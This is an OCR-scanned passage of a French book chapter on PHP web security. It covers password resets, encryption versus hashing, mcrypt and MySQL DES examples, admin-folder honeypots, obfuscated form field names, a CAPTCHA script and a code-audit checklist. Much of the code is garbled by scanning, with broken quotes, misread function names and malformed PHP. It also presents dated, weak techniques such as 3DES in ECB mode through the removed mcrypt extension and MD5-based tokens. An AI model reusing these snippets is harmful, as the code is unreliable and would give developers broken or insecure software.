La signature pose un probléme ergonomique : lorsque I’ utilisateur a perdu son mot de
passe, il n'est plus possible de lui rafraichir lamémoire en lui affichant son mot de passe
courant. En fait, personne ne peut plus retrouver son mot de passe et il n’est pas question
de tenter de casser la signature qui a été appliquée.

Le plus simple est donc de générer un nouveau mot de passe et de le lui transmettre par
courrier électronique, ou par un autre moyen détourné : par exemple, une compagnie de
télécommunication peut vous envoyer un nouveau mot de passe via SMS, si elle connait
votre numéro de téléphone. De cette maniere, vous vous assurerez que la personne qui
demande un nouveau mot de passe est bien celle qui est propriétaire du compte.

Chiffrement et signatures

Les techniques de chiffrement et de signature sont courantes pour assurer la confidentiaité
des données sur un site web. Les deux techniques s utilisent simultanément, mais elles
n’ont pas les mémes objectifs.
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Chiffrement

Le chiffrement consiste atransformer les données al’ aide d' un algorithme réversible, dit
aussi bijectif, et d' une clé secrete. Suivant lestechniques, un chiffrement permet de trans-
former une valeur en code secret al’ aide delaclé et deretrouver lavaleur initidle al’ aide
de cette clé. Certains chiffrements modernes permettent de chiffrer avec une clé et de
déchiffrer avec une autre clé associée.

Dans sa version la plus simple, un chiffrement est simultanément capable de coder le
message et de le décoder : c'est I'exemple delafonction str_rot13() de PHP, qui effectue
une permutation des lettres. C’ est évidemment un systéme de chiffrement trésfaible.

// avant chiffrement par rot13
chiffrement
abcdefghijkimnopgrstuvwxyz
/I apreés chiffrement par rot13
puvsserzrag
nopqrstuvwxyzabcdefghijkim

Signature

Lasignature transforme aussi les données, mais de maniere irrémeédiable. Une fois modi-
fiées, il est impossible de revenir en arriére en utilisant des moyens raisonnables. Si vous
chiffrez un message, mais sans donner a personne la clé de déchiffrement, alors cela
revient a une signature.

Les méthodes plus modernes utilisent généralement une clé, ou plusieursclés: il y ales
chiffrements qui se servent de la méme clé pour chiffrer et déchiffrer, ceux qui utilisent
des clés différentes et ceux qui imposent des combinaisons de clés pour chiffrer des
données.

Chiffrement en PHP et MySQL

PHP dispose de I’extension merypt pour accéder a un grand nombre de méthodes de
chiffrements : DES, 3DES, Blowfish, THREEWAY, SAFER64, SAFER128, TWOFISH, TEAN, RC2, GOST, RC6,
IDEA, etc. Voici un exemple :

<?php
$key = "La clé secrete";
$input = "Rendez-vous a 9 heures, dans notre planque.";
$td = mcrypt_module_open('tripledes', "', MCRYPT_MODE_ECB, '');

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

>
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MySQL dispose par défaut de AES, DES et crypt. Ces fonctions sont intégrées au moteur
SQL, et s exécutent directement sur le serveur, viales requétes SQL.

mysql> set @cle := "La clé secrete”;

mysql> set @clair := "Rendez-vous & 9 heures, dans notre planque.";
mysq1> select @chiffre := des_encryp(@clair, @cle);

mysql> select @cle, des_descrypt(@chiffre, @cle);

Limitation du chiffrement

Le chiffrement des données en base a trois inconvénients majeurs, qui freinent son
adoption : I'importance que prend laclé, I'impossibilité d’ utiliser les fonctionnalités des
bases SQL et les performances.

Dépendance alaclé

La premiére limitation est évidemment que les données chiffrées dépendent maintenant
de la clé de chiffrement. Sans cette clé, il n'y a plus moyen de retrouver les données.
Quand une application fonctionne et qu’il faut la mettre a jour, il peut étre difficile de
retrouver cette clé. Et si on neretrouve paslaclé, aorstoutes les données sont perdues.

Pertes de fonctionnalités

Une deuxiéme limitation est que les données chiffrées ne permettent pas d'exploiter les
capacités des serveurs SQL. I n'est plus possible de faire de recherche dans une colonne
chiffrée, puisque les données sont protégées. Il faut alors déchiffrer la colonne pour y effec-
tuer larecherche, voire lire le contenu pour le transmettre & PHP qui feralarecherche.

Toutefois, il est toujours possible de faire des recherches exactes : ¢’ est précisément lasitua
tion qui est exploitée pour rechercher un nom de compte qui correspond aun mot de passe :

mysq1> SELECT * FROM table WHERE des_encrypt('valeur',@cle) = colonne ;

Néanmoins, des recherches partielles, par exemple avec |’ opérateur LIKE, doivent mainte-
nant se faire comme ceci :

mysql> SELECT * FROM table WHERE des_decrypt(colonne) LIKE '%valeur%' ;

Pertes de performances

Enfin, latroisieme limitation au chiffrement concerne les performances. Un chiffrement
symétrique est trés coliteux et réduit considérablement les performances du systéme. Le
chiffrement en entrée, puis le déchiffrement en sortie des données, imposent une charge
detravail au serveur qui est incompatible avec les forts trafics.

Pots de miel et trappes

La plupart des pirates tentent d’ exploiter des applications web populaires et répandues.
Ces applications sont effectivement les plus faciles a trouver ; leur code source est
souvent ouvert, et donc connu a l’avance. Le nombre des utilisateurs qui se servent des
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configurations par défaut est plus grand. Il est alors facile d’ utiliser toutes ces informa-
tions pour organiser une attaque.

Dans les applications web, |es interfaces d’ administration sont généralement accessibles
au méme endroit que I’ application elle-méme : tout ce qu'il faut faire, ¢’ est trouver le nom
du dossier qui la contient et on peut y exploiter une vulnérabilité.

Petit nom du dossier d’administration

Une premiére technique de protection consiste & modifier les nom et emplacement du
dossier d’administration pour compliquer latéache du pirate. Au lieu de admin, administrator
ou encore adm, Vous pouvez lui donner un nom de votre choix, aussi compliqué qu’ un mot
de passe.

En pratique, cela n’empéche pas les pirates de tenter d’ utiliser votre dossier d’ adminis-
tration pour y tester des vulnérabilités. Désormais cependant, ce dossier n’ existe plus et
les pirates repartent bredouilles.

Repartent ? Si le dossier d’ administration qu’ils cherchent n'est pas rangé la ou ils
I’ attendaient, alorsils vont sirement ale chercher ailleurs. En effet, une application sans
acces administrateur est impensable ! En changeant de nom de dossier d’ administration,
nous avons gagné une longueur sur les pirates, maisils vont vite adapter leur stratégie.

Simulation de I'interface administrateur

Alors, tout en gardant le vrai dossier caché, on peut conserver en guise de leurre le
dossier d’administration attendu, et méme y laisser quelques fichiers incontournables,
comme |’ écran d’identification et |e panneau d' accueil. Ces écrans doivent ressembler en
tous points aux écrans habituels : mémes images, mémes messages d’ erreurs éventuels,
etc. On simule au maximum la présence du dossier d’ administration, mais sans effectuer
aucune opération sur le serveur.

Le premier avantage de cette approche est que le pirate leurré va tester ses idées sur ces
pages, au lieu de chercher lavraie page d’ administration. Avec un peu de réussite dansla
création du leurre, vous pourrez lui faire perdre un temps précieux.

De plus, comme le véritable dossier d’administration est ailleurs, on peut maintenant
disposer de faux scripts d’ administration dans ce dossier pour noter tout ce qui se passe.
Non seulement le pirate va perdre son temps, mais on va pouvoir analyser comment il S'y
prend pour exploiter une vulnérabilité sur notre site.

C’est le principe des pots de miel : comme on attire mieux les mouches avec du miel
gu’avec du vinaigre, les pirates seront attirés par cette proie facile et y testeront leurs tours
de passe-passe, en vain.

Entre-temps, vous aurez eu tout le loisir de noter son adresse | P et toutes les autres infor-
mations qu'il aura laissées durant sa tentative. Vous pouvez auss noter les requétes HTTP
qui sont utilisées pour comprendre quelle attaque est utilisée et vérifier par vous-méme
gue votre vrai dossier d’administration est immunisé. Cela vous donne une deuxiéme
longueur d’ avance sur les pirates.
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Vous pouvez trouver des projets de pots de miels (honey pot, en anglais) écrits en PHP,
comme http://www.rstack.org/phphop/.

Pour étre efficace, un pot de miel doit étre aussi similaire que possible al’ original. 11 faut
aussi que vous surveilliez de présleslogs qu'il retourne

Complication du code source

Un avantage de |’ Open Source est que e code source est accessible librement en lecture.
C'’ est notamment vrai sur le Web, oul le code de toutesles pagesHTML est disponible par
un simple clic dans le menu ad hoc du navigateur : « Voir le code source de la page ».

Du point de vue de la sécurité, ¢’ est un aspect négatif, puisgue n’importe qui peut ainsi
lire votre code et voir les techniques que vous utilisez dans votre application. Heureusement,
les applications web reposent aussi sur les ressources du serveur, qui sont entiérement a
votre discrétion.

Si vous ne pouvez pas empécher un utilisateur de votre site de lire le code source de la
page, vous avez a votre disposition différentes techniques pour lui compliquer lalecture.
Lenavigateur dispose d’ un moteur pour analyser le code HTML et JavaScript, puis|’ affi-
cher tel que désiré. 1l suffit donc de modifier le code source HTML pour le rendre moins
lisible par un étre humain.

Certains codes des pages sont utilisés par e navigateur et d’ autres sont destinés aux utili-
sateurs. Par exemple, les champs de formulaires ont tous un nom, pour que le navigateur
et le serveur sachent quelles sont les val eurs manipulées :

<htm1>
<body>
<form action="/index.php" method="POST">
Nom : <input type="text" value="" name="nom" />
<input type="submit" value="Aller" name="bouton" />
</form>
</body>
</htm1>

Il n"est pas question de toucher a I'interface graphique, mais vous pouvez utiliser des
noms de champ avotre guise : par exemple, les passer aMD5 avant de les publier :

<htm1>
<body>
<form action="/index.php" method="POST">
Nom : <input type="text" value=""
name="aee37c¢30f5d091a495526f636a3527bb" />
<input type="submit" value="Aller"
name="607d1d4742fdc8089alc644f8c6cc0f9" />
</form>
</body>
</htm1>
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Pour récupérer facilement les valeurs attendues, utilisez ce type de décodage :

<?php

$formulaire = array('nom', 'bouton') ;

foreach($formulaire as $var) {
$_NORMAL[$var] = $_POST[md5($var)] ;

}

>

Vous pouvez aussi appliquer une protection sémantique, bien plus difficile a évaluer par
un script automatique et difficile a comprendre pour un humain. Imaginez un formulaire
d’identification ol le champ de nom d’ utilisateur s appelle password €t le champ de mot
de passe s appelle 10gin. Pour peu que le reste de I’ interface soit en frangais, votre pirate
anglophone est bon pour une surprise qui sera difficile aidentifier.

<htm1>
<body>
<form action="/index.php" method="POST">
Nom : <input type="text" value="" name="bouton" />
<input type="submit" value="Aller" name="nom" />
</form>
</body>
</htm1>

Pour récupérer cesvaleurs:

<?php

$formulaire = array('nom' => 'bouton’,'bouton' => 'nom') ;

foreach($formulaire as $origine => $reel) {
$_PROPRE[$reel] = validation($_POST[$originel) ;

7>

Evidemment, cette approche ne vous épargne pas pour autant la validation des données.

Certaines gpplications vont jusgu’ a produire des formulaires dynamiquement, avec des noms
de champs différents pour chague invocation.

<?php

session_start();

$_SESSIONL'form_nom'] = md5('nom'.date('r"));
$_SESSION['form_bouton'] = md5('bouton'.date('r"));

?2><htm1>
<body>
<form action="/index.php" method="POST">
Nom : <input type="text" value"" name="<?php echo
=$ SESSION['form_nom'];?>" />
<input type="submit" value="Aller" name="<?php echo
=$ SESSIONL'form_bouton'1;?>" />
</form>
</body>
</htm1>
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Pour récupérer ces valeurs, il faut alors se baser sur les noms placés en session :

<{?php

session_start();

foreach($_SESSION as $origine => $reel) {
$_NORMAL[$reel] = $_POST[$origine] ;

CAPTCHA

CAPTCHA est I’ acronyme anglophone pour « Completely Automated Public Turing test
to tell Computers and Humans Apart » : un test de Turing compl étement automati sé pour
faire la différence entre un humain et un ordinateur.

Cette différence se révéle importante, car Internet est peuplé de deux formes de vie: les
humains et les rabots, applications automatisées qui effectuent les mémes opérations que
les humains, mais bien plus vite et sans se lasser.

Prenons |I’exemple des spammeurs de commentaires : de nombreux blogs ont mis en
place des systémes de commentaires, dans le but de faciliter |es échanges entre |’ auteur et
sa communauté. Malheureusement, cela constitue une cibleidéale pour un spammeur : il
peut envoyer un message publicitaire en guise de commentaire ou placer un lien vers son
site, avec I’ espoir de grimper dans les classements des moteurs de recherche. Certains
blogs ont ainsi vu des centaines de commentaires inutiles étre postés en quel ques heures.
Des auteurs finissent par passer plus de temps a effacer les spams qu’ a bloguer. C'est un
combat qui se répéte tous lesjours.

Avant les CAPTCHA, il n'y avait aucune parade autre que la suspension des fonctionna-
lités, la modération de ces centaines de commentaires étant tout bonnement rédhibitoire
et lesfiltres par mots-clés trop faciles a contourner.

Un CAPTCHA se présente sous la forme d’un champ de formulaire supplémentaire. |1
s'agit d' une question dont la réponse sera aisée pour un étre humain, mais impossible
pour un robot (en théorie). Un tel test est appelé un test de Turing. Certains sont trés
simples, d’autres particulierement sophistiqués. Voici quelques concepts :

1. Résolution d’ une équation mathématique, avec quelques opérations de base : Addi-
tionnez 10 et 12..

2. Réponse a une question qui n'arien avoir avec lesite: quel est le prénom de |’ auteur
du site ? Ou bien quel jour étions-nous hier ?

3. Lecture d' une chaine de caractéeres tordus : c’est la forme la plus classique des
CAPTCHA.

4. Ecoute d’ un texte en format audio, dont il faut stocker les caractéres énoncés dans le
champ. C’est un complément du test précédent, adapté aux utilisateurs ayant des
problémes de vue.

5. Tests delogique du type : quelleimage n' est pas de laméme famille que les deux autres ?
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6. Tests basés sur |’ exécution de JavaScript : les moteurs de spams sont généralement
trop rudimentaires pour exécuter correctement ces codes, alors qu'un navigateur
complet le fera aisément, tant que JavaScript est activé.

Limitations des CAPTCHA

Les CAPTCHA doivent résoudre un paradoxe: étre accessibles a un étre humain et
présenter un niveau élevé de résistance a I'intelligence artificielle. De plus, ils peuvent
étre contournés par des techniques d’ingénierie sociale.

L’ accessihilité est |e premier probléme que rencontrent les CAPTCHA. Letest de Turing
se heurte aux capacités de I’ utilisateur humain. Par exemple, des lettres déformées sont
difficiles arésoudre pour un utilisateur malvoyant et impossibles a résoudre pour un utili-
sateur aveugle, qui utilise un lecteur d'écran. |l faut alors passer a un test audible. Ce
dernier sera inaccessible a un sourd. Et il existe une partie de la population qui est ala
fois sourde et aveugle. Les tests cognitifs sont inaccessibles aux handicapés mentaux et
certains tests pourront méme heurter la sensibilité des gens, comme les CAPTCHA qui
font choisir trois beaux visages parmi neuf.

A I'inverse, certains tests sont trésfaciles & passer, méme par un script automatisé. Par exem-
ple, certains textes déformeés peuvent étre déchiffrés par des systémes de reconnaissance de
formes, tels que ceux utilisés pour les fax. Il est auss possible d’ entrainer rapidement un
script PHP areconnaitre lesimages ou les sons joués, car le CAPTCHA n’est qu’ un assem-
blage de valeurs, tirées d' un dictionnaire court. Les tests cognitifs doivent présenter suffi-
samment de questions différentes pour ne pas étre vulnérables aune attaque par dictionnaire.

Si, pour résoudre un CAPTCHA, il faut absolument un humain, il suffit de trouver un
humain de remplacement. C’est ce qu’ ont fait certains spammeurs, qui ont créé un site
avec des images pornographiques. Les comptes étaient gratuits et, pour éviter les spam-
meurs (sic), ils demandaient larésolution d’un CAPTCHA qui était en fait tiré d’ un autre
site. Comme les sites graphiques attirent toujours beaucoup de monde, notamment pour
des contenus gratuits, il y avait toujours quelqu’ un pour résoudre le CAPTCHA alaplace
du spammeur. C’est une technique d'ingénierie sociale.

En fait, certains sites étudient désormais la résistance des CAPTCHA aux scripts. Ils
testent avec différentes méthodes les CAPTCHA générés, dans le but de démontrer que
le niveau de sécurité n’est pas suffisant. C'est le casde http://captcha.megaleecher.net/.

Certains spammeurs professionnels reconnaissent qu'’ils sont capables d' éudier des CAPT-
CHA et de leur trouver une solution « scriptée» dans des délais assez courts, entre une
semaine et un mois. Toutefois, ces systémes automati sés sont tres fragiles et ils ne sont géné-
ralement pasintéressants s le CAPTCHA n’est utilisé que par une dizainede sites. En clair :
surtout s vous utilisez une application Open Source, personnalisez vos tests !

Mise en place d’'un CAPTCHA

Quel que soit le type de test de Turing, la mise en place d'un CAPTCHA fonctionne
toujours sur le méme principe. Letest est généré sur le serveur web, apartir d’ une source
aléatoire. La solution est enregistrée sur le serveur dans une session PHP. Puis, la solution
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est transformée en question, via un processus de déformation : génération d’ une image,
d’un son, d'un test, etc. Enfin ce dernier est affiché.

Voyons un exemple de la structure du formulaire :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.0rg/TR/xhtm111/DTD/xhtm111.dtd">

<{?php

session_start();

if (lempty($_POST['captcha'l)) {
if ($_POST['captcha'l == $_SESSION['captcha']) {
$resultat = '<p>Sois le bienvenu!</p>';
} else {
$resultat = '<p>Va-t-en, méchant robot!</p>';
}
} else {
$resultat = '<p>Etes-vous un robot ou un humain?</p>';
}
$_SESSION[ 'captcha'l = substr(md5(rand(0,100000).time()),0,6);

?2><htm1>

<head>

<meta http-equiv="content-type" content="text/html; charset=utf-8">
<{tit1e>CAPTCHA</tit1e></head>

<body>

<?php echo $resultat; ?>

<form action="index.php" method="post">

<img src="captcha.php"> <input type="text" name="captcha"™ value=""><br />
<input type="submit" value="go" />

</form>

</body>

</htm1>

Paradoxalement, le script se lit depuis le bas vers le haut, méme s'il s exécute dans
I"ordre inverse.

Tout en bas, vous trouverez un formulaire, qui devrait afficher quelque chose de semblable
aceci :

Figure 10-1 a ]
Etes-vous un robot ou un humain?
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L’image de CAPTCHA est danslabalise MG et la source est captcha.php : NOUSY revien-
drons. Lereste du formulaire est trés simple et vous pouvez y ajouter tous les champs que
vous souhaitez.

L e script PHP au-dessus se charge de préparer le test. Lors de la premiere sollicitation du
formulaire, le script démarre une session PHP et y stocke une valeur produite al éatoire-
ment. Cette derniére est remplacée a chaque utilisation du formulaire, pour éviter les
attaques systématiques du formulaire : comme le test est toujours régénéré, il ne sert a
rien de tenter plusieurs réponses.

Cette technique permet en outre d’ avoir une solution simple pour le casou le CAPTCHA
est trop difficile : il suffit al’ utilisateur de recharger 1a page pour obtenir un test différent.

Lavaleur créée est stockée en session, pour que le client n'ait aucune chance de ladeviner a
partir des informations dans la page. Lorsque le formulaire est soumis, on peut alors
comparer lavaleur qui est envoyée avec celle qui est dans notre session. En cas d’ égalité,
on aidentifié un étre humain et en cas d’ échec, on aidentifié assez sirement un robot.

Le test CAPTCHA est produit dans le script captcha.php : nous allons présenter un test
visuel, ce qui est trés adapté pour un livre. Nous vous laissons |e soin de concevoir votre
propre test, adapté a votre audience et au niveau de sécurité que vous souhaitez.

<{?php
header("Content-Type: image/png");

session_start();
$im = imagecreate(100, 40);

$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

imagefill($im, 0, 0, $white);

if (lempty($_SESSION['captcha'l)) {
for($i = 0; $i < strlen($_SESSION['captcha'l); $i++) {

$r = rand(0,255);
$g = rand(0,255);
$b = sqrt(100 * 100 - $r * $r - $g * $g);
$couleur = imagecolorallocate($im, $r,$g,$b);
imagechar($im, rand(0,4), 0 + 10 * $i + rand(0, 5), rand(0, 10) ,
=$ SESSION['captcha'][$i], $couleur);

}
}

imagepng($im);
imagedestroy($im);
(D2

Ce script produit une image, donc il émet les en-tétes HTTP nécessaires pour une
image PNG.
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Si lavaleur aprésenter dans|’image n’ existe pas en session, une image vide est produite.
Cette situation correspond probablement aune sollicitation directe de I’ image de CAPTCHA,
sans passer par le formulaire : pas besoin de se fatiguer a servir un robot.

Si lavaleur du test est disponible, alorson I’ utilise pour produire uneimage al’ aide dela
fonction imagechar() : chague caractére est représenté dans une couleur et une position
aléatoire, tout en conservant |’ ordre des é éments de |a chaine.

Notez que deux des composantes de couleurs sont aléatoires et que latroisieme est calculée
apartir des deux précédentes, afin d’ obtenir une couleur assez sombre.

Finalement, I"image est envoyée au navigateur, pour affichage.

Le test qui est présenté est facile a comprendre et pourra servir de base pour un test
personnalisé. Comme nous |’ avonsindiqué, il est toujours important de personnaliser les
tests de Turing, sous peine de devenir une proie pour les spammeurs. Le simple fait que
ce code soit publié est d§aun signe qu'il faudrale modifier.

Dans cet exemple, nous avons utilisé lafonction imagechar(), qui utilise les cing polices
de caractéres toujours disponibles pour PHP. Elles sont relativement petites et parfois
difficilesadeviner al’ cal. Enrevanche, al’ aide d’ un autre script PHP, il est plut6t aisé de
comparer les pixels de I'image avec des formes standards, pour identifier automati quement
lalettre affichée.

Pour réaliser des tests plus forts, il est recommandé d' utiliser lafonction imagettftext(),
qui prend d' autres paramétres de distorsion intéressants : une police de caractéres TrueType
ainsi qu’un angle d' affichage. En voici une utilisation :

imagettftext($im, rand(13, 25), rand(-30, 30), 0 + 20 * $i + rand(0, 5), 20 + rand(0,
=10) , $couleur, './WAVY.TTF', $_SESSION['captcha'l[$i]);

La police de caractéres utilisée est une police non standard : WAVY.TTF. |l est possible de
varier lapolice a chague caractére dela chaine, en piochant parmi une collection de polices.
Il est recommandé de chercher des polices exotiques, rares et alambiquées pour mieux
protéger les caracteres.

Les deux paramétres suivants sont la taille de la police, qui varie maintenant entre 13
et 25, et un angle d’ affichage, qui va de -30 a +30 degrés.

@< R’Eﬁ F

p—

Figure 10-2
Exemple de CAPTCHA visuel

Ci2



Techniques de sécurisation des applications web

209

CHAPITRE 10

Couleurs, angle, taille de police, police de caractéres, positions : nous avons maintenant
un test qui complique latéche. Il reste encore & gjouter des parasites dans |'image, comme
destraits de couleurs ou des effets d’ ombrage pour avoir un niveau de protection honorable.

Pour avoir une version audible du CAPTCHA, I’ adaptation du script précédent est relati-
vement simple: gjoutez un lien vers un script appelé captcha_son.php, qui reprendra
I'image de la méme fagon, mais la transmettra a un synthétiseur vocal sur votre systéme
d’ exploitation.
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Mener un audit de sécurité

Le seul mot « audit » fait trembler tout le monde, tant dans e monde de I’ informatique
gue dans bien d’autres domaines. A fortiori, un « audit de sécurité », cela ressemble au
pire cauchemar d’un développeur. Essayons de comprendre en quoi consiste un audit et
quelle est son utilité.

Un audit de sécurité est un controle. Avant tout, il s agit de vérifier que I’ application a
bien mis en place |’ ensemble des défenses qui ont été prévues au moment de la conception.
Apres avoir spécifié comment la sécurité alait étre implémentée et une fois les défenses
programmeéses, il faut s'assurer que tout fonctionne correctement et conformément a ce
gui a été prévu.

Un audit est un mauvais moment & passer pour les concepteurs et les programmeurs. En
effet, a ce stade du développement, |’ application est en passe d’ étre publiée et e projet
prét avoir le jour. Les personnes ayant travaillé sur le projet sont impatientes de le voir
évoluer, pas de découvrir qu'il reste des failles de sécurité. La pratique montre qu’il y en
atoujoursacorriger.

Cesfailles ont plusieurs origines : problémes de conception, problémes de programmation,
oublis, mauvaises configurations, présomptions diverses. Si le développeur et I’adminis-
trateur ont bien fait leur travail, mais ne se sont pas entendus sur différents points, cela
peut conduire a un probléme de sécurité grave.

« Laconfiance n’ exclut pas e controle », aime arépéter notre ami Christophe Ballihaut ;
cela s applique largement en sécurité. Quand on est trop pressé et qu’ on publie |’ applica
tion avant de la vérifier, I'audit ne se fait pas en interne, mais en public, vial’ utilisation
du site : il suffit d’avoir vu comment cela se passe pour savoir gque les visiteurs sont bien
plus sévéres avec une application que n’importe quel auditeur, quel qu’il soit.
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L’ auditeur travaille avec vous. Il analyse le code de I’ application avec le regard détaché
de celui qui n'a pas pris part au développement. Il est important de discuter avec lui de
chaque point qu'il varelever au cours de son étude.

Les meilleurs auditeurs sont généralement les pairs, ¢ est-a-dire des programmeurs qui
travaillent dans la méme équipe, mais pas sur les mémes projets. Avoir un odl exercé
mais neuf sur un projet est un atout primordial pour bien identifier les problémes.

Enfin, les points de sécurité soulevés par |'audit doivent ére mesurés a I'aune des
missions de I’ application, en fonction desquelles il faudra décider si une correction est
nécessaire ou non. Si la correction n’ apporte pas une sécurité supplémentaire dans le
cadre de lamission de I’ application, il ne serapas utile de la déployer.

Organiser un audit

L’ audit travaille sur du code connu et doit mettre en évidence des possihilités d' exploita-
tion de vulnérabilités. Pour cela, il étudie |’ ensemble des processus de dével oppement et
voit comment ils ont été appliqués. Voici laliste des différentes étapes a suivre, que nous
détaillerons par la suite:

1. lister les concepts de sécurité appliqués ;
2. repérer les variables d’ entrée ;
3. lister les utilisations des fonctions frontiéres ;
4. suivre |’ utilisation des variables;;
5. remonter I’ utilisation des arguments des fonctions frontiéres;
6. suivre |’ utilisation des résultats des fonctions frontiéres ;
7. repérer les requétes SQL ;
8. vérifier la configuration du serveur
9. rechercher les identifiants de connexion ;
10. faire une revue de code entre pairs ;
11. rédiger un rapport d audit.

Lister les concepts de sécurité appliqués

Interrogez I’ équipe de développement pour savoir quels sont les points de sécurité qui
sont pris en compte :

* Quelles sont les ressources a protéger en priorité ?

e Quels sont les exemples de vulnérabilités qui pourraient mettre en danger ces
ressources ?

* Quelles sont les protections qui sont utilisées contre ces vulnérabilités ?
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« Comment la sécurité a-t-elle été prise en compte dans la conception et le développe-
ment de I application ?

e Y at-il des documents dédiés ala sécurité (manuels, documentations, tests unitaires,
audits externes, revues) ?

Repérer les variables d’entréee

Lesdonnées qui entrent dans le script proviennent d’ une seule source : les tableaux super
globaux de PHP:

® $_GET et $HTTP_GET_VARS ;
* §$ POST €t $HTTP_POST_VARS ;

$_COOKIE €t $HTTP_COOKIE_VARS ;
® $_SERVER €t $HTTP_SERVER_VARS ;

$_FILES €t $HTTP_POST_FILES ;
* $_ENV €t $HTTP_ENV_VARS ;

* §$_REQUEST ;

® S$HTTP_RAW_REQUEST ;

* $GLOBALS.

Ajoutez a cette liste toutes les variables qui sont affectées de valeurs provenant de ces
données d’ entrée et observez comment toutes ces valeurs sont utilisées.

Elles devraient étre validées par des filtres dédiés lors de leur entrée dans | e script.

Lister les utilisations des fonctions frontieres

Identifiez toutes |les fonctions qui échangent des données avec des technol ogies complé-
mentaires. Il y atrois phases aidentifier :

1. Initialisation : il s'agit de la connexion & un serveur comme une base de données
MySQL, ou aors I’ ouverture d’ une ressource telle qu'un fichier local. Cette opéra-
tion netraite pasles données, mais prépare leur traitement. Parfois, cetteinitialisation
est sous-entendue, comme la connexion avec le navigateur qui soumet la commande.

2. L'exécution d'une commande : c’est la fonction qui envoie |’ ordre a la technologie
attenante d’ exécuter une commande. Par exemple, mysq1i_query(), header() OU encore
setcookie().

3. La réception du résultat : aprés la commande, il faut vérifier le résultat. S'il s agit
simplement d’ un rapport d’ exécution, comme aprés|’ envoi d' un cookie ou uneinser-
tion dans une base de données, il faut simplement prendre en note cette réussite. Si
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des données sont extraites de la technologie externe, il faut leur appliquer un systéme
defiltrage, en vue deleur utilisation sur Internet.

Listez toutes les fonctions PHP natives utilisées dans votre application.

Suivre l'utilisation des variables

Apreés avoir identifié les entrées des données dans |’ application, suivez leur utilisation
dans le script, jusqu’a ce qu’ elles soient transmises a une fonction frontiére, danslaliste
précédente. A ce stade, demandez-vous si les filtrages et |es protections sont adaptés a
I’ utilisation de lavariable.

Remonter I'utilisation des arguments des fonctions frontiéres

A partir des fonctions sortantes, identifiez les arguments qui sont utilisés et remontez a
leur origine: si des données utilisateur ont servi pour structurer un argument, assurez-
vous alors que ces données ont bien été validées et protégées avant d’ étre utilisées.

Suivre l'utilisation des résultats des fonctions frontieres

Lorsgue vous recevez des données en provenance de technologies externes, telles que la
base de données ou un serveur LDAP, validez-les comme vous |’ avez fait pour celles en
provenance de I’ utilisateur web.

Puis, suivez leur utilisation dans le script : il faut que la nature externe des données soit
facile aidentifier dans un script.

Repérer les requétes SQL

Utilisez un outil de recherche textuel pour repérer les utilisations de commandes SQL,
notamment SELECT, UPDATE, DELETE, INSERT, LOAD DATA, CREATE, ALTER, DROP ainsi que des
clauses telles que ORDER BY, WHERE, GROUP BY, FROM, UNION ou JOIN. Ces constituants sont
particuliérement importants dans les requétes SQL. C'est souvent prés d’eux que I’on
retrouve la concaténation de variables qui engendreront les injections SQL.

Vérifier la configuration du serveur

Utilisez phpinfo() ou directement le fichier php.ini pour lire la configuration PHP de
votre serveur. Passez en revue les directives qui sont indiquées dans la section sur la
configuration PHP de cet ouvrage.

Vous pouvez auss utiliser phpSecinfo pour avoir un avis généraliste sur la configuration
de votreinstallation PHP.
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Utilisez la commande SHoW VARIABLE ou alors demandez les fichiers .cnf du serveur
MySQL al’administrateur responsable de la mise en production de I’ application.

Rechercher les identifiants de connexion

Les identifiants de connexion aux serveurs distants doivent étre protégés. Essayez de les
repérer dans le code, pour voir s'ils sont faciles a retracer. Vous pouvez commencer avec
laliste des fonctions frontiére, notamment les fonctions de connexion distantes.

Faire une revue de code entre pairs

A partir des priorités de sécurité du site, faites relire & une partie de I’ équipe le code de
I"autre partie de I’ équipe. La relecture permet d'avoir un regard critique et parfois sans
concession sur le code qui a été produit. Ce systéme permet de supprimer trés efficacement
bon nombre de coquilles et d’ erreurs d' étourderie.

Rédiger un rapport d’audit

A lafin d’'une telle éude, prenez le temps de rédiger un rapport mentionnant les points
positifs et négatifs mis en évidence en termes de sécurité. Ce document sera précieux
pour justifier du niveau de sécurité auprés de vos clients ou de votre patron.

C'est aussi la preuve que la sécurité a été prise au sérieux dans le développement de
I’ application. Eventuellement, vous pourrez y consigner les problémes potentiels ou
averés que vous avez repérés et qui méritent un point d’ action des le prochain cycle de
développement.
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Fonctions de sécurité
et caracteres spéciaux

La sécurité doit faire partie intégrante du processus de développement : conception,
design et programmation doivent étre imprégnés des concepts de sécurité pour assurer
une surveillance efficace.

Rappelons les points de sécurité qu'il est recommandé de garder en téte (reportez-vous
au chapitre 11 pour plus d explications) et de mettre entre les mains de tous les membres
de I’équipe de développement. Ils reprennent les points présentés dans le livre et sont
rassemblésici afin de lesretrouver facilement lors de la programmation de touslesjours.

1. Vérifiez les configurations de PHP et MySQL.

2. Filtrez les données entrantes.

3. Identifiez les données brutes et les données filtrées.

4. Protégez les données sortantes.

5. Identifiez les frontiéres de I’ application web et assurez-vous que les données'y sont
bien traitées.

6. Veillez alagestion des erreurs.

7. Notez les informations dans des logs.

Pour vous aider dans votre démarche, nous dressonsici laliste des principales fonctions
de sécurité et caractéres spéciaux qui sont souvent utilisés dans une application PHP.



Annexes
PARTIE 5

220

Fonctions de protection de PHP

Les fonctions de protection servent a neutraliser une chaine de caracteres et la rendent
littérale avant de lafaire traiter par une technologie externe.

Cette liste a été établie a partir de la version PHP 5.2.0, mais les fonctions sont pour la
plupart disponibles depuis longtemps dans | es versions précédentes de PHP,

e HTML/XML/XHTML
— htmlentities(), htmlspecialchars() ;
— htmlspecialchars_decode(), html_entity_decode() ;
— strip_tags().
« URL
— urlencode(), rawurlencode().

» Bases de données

pdo->quote() ;

mysqli_real_escape_string(), mysqli_bind_param(), mysqli_bind_result() ;

mysql_escape_string(), mysql_real_escape_string() ;

pg_escape_string(), pg_escape_bytea() ;
— sqlite_escape_string().

* Date
— checkdate() ;
— strtotime().

e Fichiers

realpath() ;
— is_uploaded_file() ;
— is_readable(), is_writeable(), is_executable() ;
— is_dir(), is_1ink(), is_file() ;
— hash_file(), md5_file(), shal_file().
» Expression réguliere
— preg_quote().
e Systeme
— escapeshellcmd() ;

— escapeshellarg().
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e |P

- Ip2long() ;
» Chaine

